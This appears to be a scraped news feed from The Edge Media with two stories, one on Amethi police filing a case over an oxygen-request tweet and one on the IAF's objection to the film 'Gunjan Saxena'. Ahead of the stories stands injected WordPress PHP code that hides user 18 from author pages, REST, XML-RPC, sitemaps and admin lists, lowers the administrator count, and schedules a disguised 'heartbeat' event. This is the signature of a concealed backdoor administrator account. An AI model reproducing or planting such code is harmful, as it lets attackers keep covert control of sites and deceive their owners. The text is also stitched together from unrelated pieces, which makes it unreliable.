add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Son asked oxygen for his grandfather, police filed FIR against him appeared first on The Edge Media.
]]>The young man Shashank Yadav tagged Bollywood actor Sonu Sood with his Twitter handle on the night of 26 April in a tweet saying, “Oxygen cylinders are needed at the earliest.
After seeing Shashank’s tweet, regional BJP MP and Union Minister Smriti Irani said in a tweet made on April 27, “I called Shashank thrice but the phone did not pick up.” I have asked the District Magistrate and Amethi Police to help the needy person.
Amethi Superintendent of Police Dinesh Singh said, “Shashank had asked to provide oxygen for his maternal grandfather , although he did not write in the tweet that his maternal grandfather covid- 19 are infected or not.
Singh said, “When Shashank’s mobile number was called, he did not pick up the phone. We thought that he might be in trouble, so he is not picking up the phone. After that we used surveillance and after finding out Shashank’s presence we reached his house. Where he was sleeping.
The Superintendent of Police claimed that Shashank’s house was 20 km from his maternal grandfather’s house and that he had gone there for barely five minutes after which He tweeted that. It is evident that Shashank’s motive was to spread sensation and fear by tweeting.
He said that a case has been registered against Shashank under the relevant sections of the Epidemic Act and he has been given a warning under section 41 of the Criminal Procedure Code after serving the notice.
Meanwhile, the district’s chief medical officer, Dr Ashutosh Dubey, said that Shashank’s maternal grandfather had not been tested for covid-19 and was undergoing treatment in a private hospital.
He was also not taken to the nearby Ramganj or Community Health Center in Bhadar. The Chief Medical Officer said that the claim of Shashank’s maternal grandfather’s death due to lack of oxygen is also not correct.
Amethi police said in one of its tweets, “Neither the patient was infected with covid-19 nor he need oxygen. He died of a heart attack on 26 April. The kind of tweet that Shashank tweeted is not only condemnable but also punishable.
The post Son asked oxygen for his grandfather, police filed FIR against him appeared first on The Edge Media.
]]>The post ‘Gunjan Saxena: The Kargil Girl’: IAF Writes to CBFC Adressing The “Undue Negative Potrayal” appeared first on The Edge Media.
]]>The Air Force in its letter to the censor board, and sent to Netflix and Dharma Productions, has stated that as per initial understanding, “Dharma Productions had agreed to represent Indian Air Force with authenticity and make all efforts to ensure that the film helps to inspire the next generation of IAF officers. “However, when the trailer of the movie was released recently, it was observed that “certain scenes and dialogues in the movie and its trailer, which was forwarded to this office for viewing, have been found to portray the IAF in an undue negative light.”
The letter written by the IAF and accessed by ANI, read “In the aim to glorify the screen character of ‘Ex-Fit Lt Gunjan Saxena’, M/s Dharma Productions presented some situations that are misleading and portray an inappropriate work culture especially against women in the IAF.
“The story of the Dharma Productions movie is based on the first Indian Air Force woman pilot who was part of the 1999 Kargil conflict.
Saxena, who is one of the first female pilots to fly in combat, played an important role in rescuing injured soldiers during the Kargil War in 1999 and was awarded the gallantry Shaurya Vir Award for displaying courage during the war.In the communication, the Air Force said that as a service, it has ensured “that the organisation is gender neutral and has always provided an equal opportunity to both male and women personnel.”
IAF has also annexed the summary of the scenes and dialogues of the script, which are considered objectionable due to the presentation of incorrect gender bias with the letter.
The post ‘Gunjan Saxena: The Kargil Girl’: IAF Writes to CBFC Adressing The “Undue Negative Potrayal” appeared first on The Edge Media.
]]>